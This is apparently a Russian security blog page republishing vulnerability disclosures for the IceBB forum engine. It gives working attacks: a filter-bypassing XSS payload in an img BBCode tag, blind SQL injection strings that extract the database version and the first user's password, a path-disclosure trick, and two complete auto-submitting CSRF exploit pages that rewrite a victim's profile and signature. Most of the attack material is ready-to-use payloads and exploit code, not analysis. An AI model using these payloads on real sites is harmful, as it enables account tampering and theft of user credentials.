• Главная
  • A hack CTF
  • Заметки
  • [Blind code execution]
    [PHP-инклудинг и allow_url_include]
    [Проблема с WUBI и Ubuntu 10.04]
    [Как был взломан antichat.ru]
    [AntiDDoS в LightHTTPd]
    [Sleep() в слепых SQLi]

  • Bugtraq
  • [Уязвимости языка PHP]
    [Уязвимости разных движков]
    [Уязвимости Joomla]
    [Уязвимости Invision Power Board]
    [Уязвимости GuppY CMS]
    [Уязвимости 1024cms]
    [Уязвимости IceBB]
    [Уязвимости Zeus Botnet]

  • Релизы
  • [WEB2.0 Detective]
    [Online PHP code analysis]
    [Web-разведка]
    [Сканер уязвимости nginx]
    [Анализ текстов]
    [SSI Web-shell]

  • Услуги
  • [Аудит безопасности]

    Уязвимости IceBB

    Эти уязвимости были когда-то мною опубликованы на античате

    Сайт: icebb.net
    Версии: все версии – представленные уязвимости имеют место и на официальном форуме продукта forums.xaos-ia.com

    Path Disclosing


    Зарегистрировавшись на форуме и зайдя в панель управления, мы увидим сбоку ссылку "Change Password" на index.php?act=ucp&func=password.
    В html-коде этой страницы меняем строчку
    <input type='password' name='pass_old' class='form_textbox' />
    на
    <input type='password' name='pass_old[]' class='form_textbox' />
    Теперь заполняем поля и отправляем запрос.
    На официальном форуме в ответ я увидел:
    PHP Warning [2]: md5() expects parameter 1 to be string, array given in /home/xaos/public_html/forums/modules/usercp.php on line 370

    Active XSS

    В скрипте /includes/classes/post_parser.php есть следующий участок кода:


    function xss_is_bad($t)
    {
    //echo "javascript:";

    //$t = html_entity_decode($t,ENT_QUOTES,'UTF-8');
    $t = htmlspecialchars_decode($t,ENT_QUOTES);

    $t = str_replace("<","<",$t);
    $t = str_replace(">",">",$t);

    //$t = str_replace("&quot;","&quot;",$t);
    $t = preg_replace("/&#0*([0-9]*);?/",'&#\\1;',$t);
    $t = str_replace('javascript:','javascript:',$t);

    //$t = html_entity_decode($t,ENT_QUOTES);
    //echo $t;

    $t = preg_replace("/javascript:/i" , "nojava"/*ava*/."script:" ,$t);
    $t = preg_replace("/vbscript:/i" , "novb"/*b*/."script:" ,$t);
    //$t = preg_replace('/javascript:/i','javascript:',$t);
    //$t = preg_replace('#(<[^>]+[\s\r\n\"\'])(on|xmlns)[^>]*\]#iU',"$1]",$t);

    //$t = htmlspecialchars($t,ENT_QUOTES);

    //$t = htmlentities($t,ENT_QUOTES);

    //$t = preg_replace("`&#([0-9]+);`s",'&#\\1;',$t);

    return $t;
    }

    В комментарии громко сказано, что он защищает от всех известных видов XSS, однако легко заметить, что следующая строчка портит всё дело:
    $t = str_replace('javascript:','javascript:',$t);

    Она заменяет зашифрованное слово javascript на незашифрованное. Собственно, ничего не мешает написать Javascript с большой буквы и отправить следующий запрос:

    [img]&#74&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert();[/img]
    В ответ мы увидим желаемое.

    Blind SQL-Injection

    Просматривая исходники движка в течении 5 минут, можно обратить внимание на используемый класс поиска. В нём есть такая строчка:

    $db->query("SELECT id FROM icebb_users WHERE username='{$icebb->input['search_user']}'");

    Зайдя на страничку поиска и введя в поле Author или Search by keyword запрос "+AND+1=1", мы увидим список всех пользователей.
    Здесь sql-инъекция в post-запросе.
    Соответственно, введя "+AND+1=2", мы увидим сообщение об ошибке.
    Вывод sql-ошибок выключен, так что инъекция слепая, узнаём версию: +AND+ascii(substring(version(),1,1))>1
    Пароль первого пользователя: +AND+ascii(substring((select+password+from+icebb_u sers+where+id=1),1,1))>1
    И так далее…
    P.S. Уязвимость: Profile Change XSRF (CSRF) Vulnerability.
    Описание: Изменение профильных данных пользователя на произвольные. Работает во всех версиях.
    Эксплойт:
    <html>
    <body>
    <div style="display:none;">
    <form action='http://victim.com/index.php?act=ucp&func=profile' method='post' name='profileInfo'>
    <strong>Member title:</strong><input type='text' name='title' value='XSRF by Root-access' /><br>
    <strong>Location:</strong><input type='text' name='AHCo.Ru' value='' /><br>
    <strong>Gender:</strong><select name='gender'><br>
    <option value='u' selected='selected'>-</option>
    <option value='m'>Male</option>
    <option value='f'>Female</option>
    </select>
    <strong>MSN Messenger:</strong><input type='text' name='msn' value='' /><br>
    <strong>AIM screen name:</strong><input type='text' name='aim' value='' /><br>
    <strong>Yahoo Messenger:</strong><input type='text' name='yahoo' value='' /><br>
    <strong>Jabber:</strong><input type='text' name='jabber' value='' /><br>
    <strong>Website:</strong><input type='text' name='url' value='http://ahco.ru' /><br>
    <strong>Birthday:</strong><select name='dob_month' class='form_dropdown'><option value='1'>January</option><option value='2'>February</option><option value='3'>March</option><option value='4'>April</option><option value='5'>May</option><option value='6'>June</option><option value='7'>July</option><option value='8'>August</option><option value='9'>September</option><option value='10'>October</option><option value='11'>November</option><option value='12' selected='selected'>December</option></select> <select name='dob_day' class='form_dropdown'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option><option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option><option value='10'>10</option><option value='11'>11</option><option value='12'>12</option><option value='13'>13</option><option value='14'>14</option><option value='15'>15</option><option value='16'>16</option><option value='17'>17</option><option value='18'>18</option><option value='19'>19</option><option value='20'>20</option><option value='21'>21</option><option value='22'>22</option><option value='23'>23</option><option value='24'>24</option><option value='25'>25</option><option value='26'>26</option><option value='27'>27</option><option value='28'>28</option><option value='29'>29</option><option value='30'>30</option><option value='31' selected='selected'>31</option></select> <select name='dob_year' class='form_dropdown'><option value='2009'>2009</option><option value='2008'>2008</option><option value='2007'>2007</option><option value='2006'>2006</option><option value='2005'>2005</option><option value='2004'>2004</option><option value='2003'>2003</option><option value='2002'>2002</option><option value='2001'>2001</option><option value='2000'>2000</option><option value='1999'>1999</option><option value='1998'>1998</option><option value='1997'>1997</option><option value='1996'>1996</option><option value='1995'>1995</option><option value='1994'>1994</option><option value='1993'>1993</option><option value='1992'>1992</option><option value='1991'>1991</option><option value='1990'>1990</option><option value='1989'>1989</option><option value='1988'>1988</option><option value='1987'>1987</option><option value='1986'>1986</option><option value='1985'>1985</option><option value='1984'>1984</option><option value='1983'>1983</option><option value='1982'>1982</option><option value='1981'>1981</option><option value='1980'>1980</option><option value='1979'>1979</option><option value='1978'>1978</option><option value='1977'>1977</option><option value='1976'>1976</option><option value='1975'>1975</option><option value='1974'>1974</option><option value='1973'>1973</option><option value='1972'>1972</option><option value='1971'>1971</option><option value='1970'>1970</option><option value='1969' selected='selected'>1969</option><option value='1968'>1968</option><option value='1967'>1967</option><option value='1966'>1966</option><option value='1965'>1965</option><option value='1964'>1964</option><option value='1963'>1963</option><option value='1962'>1962</option><option value='1961'>1961</option><option value='1960'>1960</option><option value='1959'>1959</option><option value='1958'>1958</option><option value='1957'>1957</option><option value='1956'>1956</option><option value='1955'>1955</option><option value='1954'>1954</option><option value='1953'>1953</option><option value='1952'>1952</option><option value='1951'>1951</option><option value='1950'>1950</option><option value='1949'>1949</option><option value='1948'>1948</option><option value='1947'>1947</option><option value='1946'>1946</option><option value='1945'>1945</option><option value='1944'>1944</option><option value='1943'>1943</option><option value='1942'>1942</option><option value='1941'>1941</option><option value='1940'>1940</option><option value='1939'>1939</option><option value='1938'>1938</option><option value='1937'>1937</option><option value='1936'>1936</option><option value='1935'>1935</option><option value='1934'>1934</option><option value='1933'>1933</option><option value='1932'>1932</option><option value='1931'>1931</option><option value='1930'>1930</option><option value='1929'>1929</option><option value='1928'>1928</option><option value='1927'>1927</option><option value='1926'>1926</option><option value='1925'>1925</option><option value='1924'>1924</option><option value='1923'>1923</option><option value='1922'>1922</option><option value='1921'>1921</option><option value='1920'>1920</option><option value='1919'>1919</option><option value='1918'>1918</option><option value='1917'>1917</option><option value='1916'>1916</option><option value='1915'>1915</option><option value='1914'>1914</option><option value='1913'>1913</option><option value='1912'>1912</option><option value='1911'>1911</option><option value='1910'>1910</option><option value='1909'>1909</option><option value='1908'>1908</option><option value='1907'>1907</option><option value='1906'>1906</option><option value='1905'>1905</option><option value='1904'>1904</option><option value='1903'>1903</option><option value='1902'>1902</option><option value='1901'>1901</option><option value='1900'>1900</option></select><br>
    <div class='buttonstrip'><input type='submit' name='submit' value="Save my Profile" id="xsrf" /></div>
    </div>
    </form>
    <script>document.getElementById("xsrf").click();</script>
    </body>
    </html>

    Уязвимость: Signature Change XSRF (CSRF) Vulnerability.
    Описание: Изменение подписи пользователя на произвольную. Работает во всех версиях.
    Эксплойт:
    <html>
    <body>
    <form action='http://victim.com/index.php?act=ucp&func=signature' method='post' name='signatureInfo'>
    <textarea id='postbox' name='sig' rows='16' cols='50' class='form_textarea'>XSRF by Root-access: Security & Hacking</textarea>
    <input type='submit' value="Save signature" id="xsrf"/>
    <script>document.getElementById("xsrf").click();</script>
    </body>
    </html>

    © BECHED